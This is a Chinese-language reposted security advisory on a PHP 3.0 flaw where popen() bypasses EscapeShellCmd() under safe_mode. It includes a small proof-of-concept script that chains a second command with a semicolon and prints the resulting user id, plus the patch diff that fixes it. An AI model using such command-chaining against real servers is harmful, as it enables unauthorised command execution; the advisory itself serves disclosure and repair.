PHP3 safe_mode 失效漏洞


Posted in PHP onOctober 09, 2006

受影响的系统:  PHP 3.00  
--------------------------------------------------------------------------------
描述:

    PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。

    因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。

    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。

    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。

--------------------------------------------------------------------------------
测试程序:

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

输出结果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建议:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  

PHP 相关文章推荐
网页游戏开发入门教程二(游戏模式+系统)
Nov 02 PHP
PHP实现域名whois查询的代码(数据源万网、新网)
Feb 22 PHP
php数组(array)输出的三种形式详解
Jun 05 PHP
使用CodeIgniter的类库做图片上传
Jun 12 PHP
CentOS下PHP安装Oracle扩展
Feb 15 PHP
如何使用微信公众平台开发模式实现多客服
Jan 06 PHP
基于PHP实现通过照片获取ip地址
Apr 26 PHP
PHP+MySql+jQuery实现的"顶"和"踩"投票功能
May 21 PHP
ThinkPHP的SAE开发相关注意事项详解
Oct 09 PHP
PHP实现接收二进制流转换成图片的方法
Jan 10 PHP
PHP使用xpath解析XML的方法详解
May 20 PHP
关于PHP数组迭代器的使用方法实例
Nov 17 PHP
vBulletin HACK----关于排版的两个HACK
Oct 09 #PHP
PHP+APACHE实现用户论证的方法
Oct 09 #PHP
从C/C++迁移到PHP——判断字符类型的函数
Oct 09 #PHP
PHP实现图片简单上传
Oct 09 #PHP
在线增减.htpasswd内的用户
Oct 09 #PHP
将OICQ数据转成MYSQL数据
Oct 09 #PHP
PHP中一个控制字符串输出的函数
Oct 09 #PHP
You might like
php 动态多文件上传
2009/01/18 PHP
PHP中的float类型使用说明
2010/07/27 PHP
PHP 登录记住密码实现思路
2013/05/07 PHP
php创建sprite
2014/02/11 PHP
9个实用的PHP代码片段分享
2015/01/22 PHP
PHP获取文件相对路径的方法
2015/02/26 PHP
php将服务端的文件读出来显示在web页面实例
2016/10/31 PHP
理解JavaScript中的事件
2006/09/23 Javascript
javascript 页面划词搜索JS
2009/09/28 Javascript
遍历jquery对象的代码分享
2011/11/02 Javascript
尝试在让script的type属性等于text/html
2013/01/15 Javascript
Js 获取Gridview选中行的内容操作步骤
2013/02/05 Javascript
jQuery遍历Form示例代码
2013/09/03 Javascript
利用CSS、JavaScript及Ajax实现高效的图片预加载
2013/10/16 Javascript
JavaScript字符串对象charAt方法入门实例(用于取得指定位置的字符)
2014/10/17 Javascript
JavaScript数组前面插入元素的方法
2015/04/06 Javascript
实例详解Nodejs 保存 payload 发送过来的文件
2016/01/14 NodeJs
在AngularJS框架中处理数据建模的方式解析
2016/03/05 Javascript
JavaScript 字符串常用操作小结(非常实用)
2016/11/30 Javascript
基于Vue实现timepicker
2017/04/25 Javascript
React + webpack 环境配置的方法步骤
2017/09/07 Javascript
微信小程序收藏功能的实现代码
2018/06/12 Javascript
nuxt中使用路由守卫的方法步骤
2019/01/27 Javascript
vue + node如何通过一个Txt文件批量生成MP3并压缩成Zip
2020/06/02 Javascript
[36:19]2018DOTA2亚洲邀请赛 小组赛 A组加赛 Newbee vs LGD
2018/04/03 DOTA
python列出目录下指定文件与子目录的方法
2015/07/03 Python
python list元素为tuple时的排序方法
2018/04/18 Python
Python3实现获取图片文字里中文的方法分析
2018/12/13 Python
基于 Django 的手机管理系统实现过程详解
2019/08/16 Python
阿玛尼意大利官网:Armani意大利
2018/10/30 全球购物
自我评价怎么写好呢?
2013/12/05 职场文书
社会保险接收函
2014/01/12 职场文书
歌颂祖国的演讲稿
2014/05/04 职场文书
乡镇党的群众路线教育实践活动制度建设计划
2014/11/03 职场文书
办公室岗位职责
2015/02/04 职场文书
使用python生成大量数据写入es数据库并查询操作(2)
2022/09/23 Python